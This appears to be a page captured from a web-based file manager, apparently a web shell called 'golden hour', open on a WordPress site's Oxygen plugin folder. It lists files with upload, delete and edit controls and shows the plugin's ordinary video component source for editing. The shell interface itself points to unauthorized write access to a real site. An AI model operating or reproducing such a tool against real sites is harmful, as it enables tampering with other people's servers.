golden hour
/home/godaofbq/hyperbarichelp.com/wp-content/plugins/oxygen/component-framework/components/classes
⬆️ Go Up
Upload
File/Folder
Size
Actions
.htaccess
420 B
Del
OK
comment-form.class.php
7.6 KB
Del
OK
comments-list-templates
-
Del
OK
comments-list.class.php
14.76 KB
Del
OK
data.comment-form.class.php
4.38 KB
Del
OK
div-block.class.php
4.34 KB
Del
OK
dynamic-list.class.php
314.25 KB
Del
OK
easy-posts-templates
-
Del
OK
fancy-icon.class.php
7.65 KB
Del
OK
gallery
-
Del
OK
gallery.class.php
44.75 KB
Del
OK
header-row-center.class.php
1.61 KB
Del
OK
header-row-left.class.php
1.59 KB
Del
OK
header-row-right.class.php
1.6 KB
Del
OK
header-row.class.php
7.22 KB
Del
OK
header.class.php
12.43 KB
Del
OK
headline.class.php
3.35 KB
Del
OK
icon-box.class.php
29.44 KB
Del
OK
inner-content.class.php
5.65 KB
Del
OK
li.class.php
3.08 KB
Del
OK
link-button.class.php
5.73 KB
Del
OK
link-text.class.php
5.25 KB
Del
OK
link-wrapper.class.php
4.74 KB
Del
OK
login-form.class.php
6.88 KB
Del
OK
map.class.php
2.36 KB
Del
OK
menu-pro
-
Del
OK
menu-pro.class.php
72.9 KB
Del
OK
menu.class.php
32.7 KB
Del
OK
modal.class.php
40.33 KB
Del
OK
nestable-shortcode.class.php
3.85 KB
Del
OK
new-columns.class.php
7.94 KB
Del
OK
pricing-box.class.php
80.82 KB
Del
OK
progress-bar.class.php
21.21 KB
Del
OK
reusable.class.php
2.24 KB
Del
OK
rich-text.class.php
4.67 KB
Del
OK
search-form.class.php
6.92 KB
Del
OK
section.class.php
5.68 KB
Del
OK
selector.class.php
3.3 KB
Del
OK
shape-divider
-
Del
OK
shape-divider.class.php
101.89 KB
Del
OK
shortcode.class.php
5.7 KB
Del
OK
sidebar.class.php
2.1 KB
Del
OK
slide.class.php
3.34 KB
Del
OK
slider.class.php
22.83 KB
Del
OK
social-icons.class.php
23.93 KB
Del
OK
soundcloud.class.php
3.92 KB
Del
OK
span.class.php
4.5 KB
Del
OK
superbox.class.php
26.58 KB
Del
OK
svg-icon.class.php
6.78 KB
Del
OK
tab-content.class.php
2.78 KB
Del
OK
tab.class.php
2.79 KB
Del
OK
tabs-contents.class.php
2.8 KB
Del
OK
tabs.class.php
7.16 KB
Del
OK
testimonial.class.php
32.71 KB
Del
OK
text-block.class.php
3.64 KB
Del
OK
toggle.class.php
9.31 KB
Del
OK
toolset-view.class.php
4.67 KB
Del
OK
video.class.php
4.52 KB
Del
OK
widget.class.php
6.67 KB
Del
OK
Edit: video.class.php
<?php Class CT_Video extends CT_Component { function __construct( $options ) { // run initialization $this->init( $options ); // Add shortcode add_shortcode( $this->options['tag'], array( $this, 'add_shortcode' ) ); add_oxygen_element( $this->options['tag'], array( $this, 'add_shortcode' ) ); // change component button place remove_action("ct_toolbar_fundamentals_list", array( $this, "component_button" ) ); add_action("oxygen_basics_components_visual", array( $this, "component_button" ) ); } /** * Add a [ct_video] shortcode to WordPress * * @since 1.5 */ function add_shortcode( $atts, $content = null, $name = null ) { if ( ! $this->validate_shortcode( $atts, $content, $name ) ) { return ''; } $options = $this->set_options( $atts ); ob_start(); ?><div id="<?php echo esc_attr($options['selector']) ?>" class="<?php echo esc_attr($options['classes']); ?>" <?php do_action("oxygen_vsb_component_attr", $options, $this->options['tag']); ?>> <?php if($options['use_custom'] !== '1') { $embed_src = $this->getYoutubeVimeoEmbedUrl(do_shortcode($options['src'])); ?> <div class="oxygen-vsb-responsive-video-wrapper"><iframe src="<?php echo esc_attr($embed_src); ?>" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe></div> <?php } else { ?> <div class="oxygen-vsb-responsive-video-wrapper oxygen-vsb-responsive-video-wrapper-custom"><?php echo oxygen_base64_decode_for_json($options['custom_code']); ?></div> <?php } ?> </div><?php $outputContent = ob_get_clean(); $outputContent = apply_filters('oxygen_vsb_after_component_render', $outputContent, $this->options, $name); return $outputContent; } /** * Parse YouTube/Vimeo page urls to embeddable links * * @since 2.1 * @author Gagan (ported to PHP by Ilya K.) */ function getYoutubeVimeoEmbedUrl($url) { if( !$url || trim($url) === '' ) { return $url; } $pattern = "/(youtube\.com|youtu\.be|vimeo\.com)\/(watch\?v\=)?(.*)/"; preg_match($pattern, $url, $matches); if($matches[1] && $matches[3] && strpos($matches[3], '/') === false) { if($matches[1] == 'youtube.com' || $matches[1] == 'youtu.be') { if (sizeof(explode('&', $matches[3]))>1) { $matches[3] = explode('&',$matches[3])[0]; } return 'https://www.youtube.com/embed/' . $matches[3]; } else if($matches[1] == 'vimeo.com') { return 'https://player.vimeo.com/video/' . $matches[3]; } } else { return $url; } } } /** * Create Video Component Instance * * @since 1.5 */ global $oxygen_vsb_components; $oxygen_vsb_components['video'] = new CT_Video ( array( 'name' => 'Video', 'tag' => 'ct_video', 'params' => array( array( "type" => "textfield", "heading" => __("YouTube / Vimeo URL", "oxygen"), "param_name" => "src", "value" => "https://www.youtube.com/watch?v=qgcX0y1Nzhs", "css" => false, "dynamicdatacode" => '<div class="oxygen-dynamic-data-browse" ctdynamicdata data="iframeScope.dynamicShortcodesCustomFieldMode" callback="iframeScope.insertShortcodeToSrc">data</div>' ), array( "param_name" => "embed_src", "value" => "https://www.youtube.com/embed/qgcX0y1Nzhs", "css" => false, "hidden" => true ), array( "type" => "radio", "heading" => __("Video Aspect Ratio", "oxygen"), "param_name" => "video-padding-bottom", "value" => array( '75%' => __("4:3 (standard)", "oxygen"), '56.25%' => __("16:9 (standard widescreen)", "oxygen"), '41.84%' => __("21:9 (Cinematic widescreen)", "oxygen") ), "default" => '56.25%', "css" => false, "line_breaks" => true, ), array( "type" => "checkbox", "heading" => __("Embed Iframe", "oxygen"), "param_name" => "use-custom", "value" => "0", "true_value" => "1", "false_value" => "0", "label" => __("Manually Paste Iframe Code", "oxygen"), "css" => false, ), array( "type" => "textarea", "heading" => __("Custom Code Here"), "param_name" => "custom-code", "value" => "", "css" => false, "condition" => "use-custom=1" ), ) ) ); ?>
Save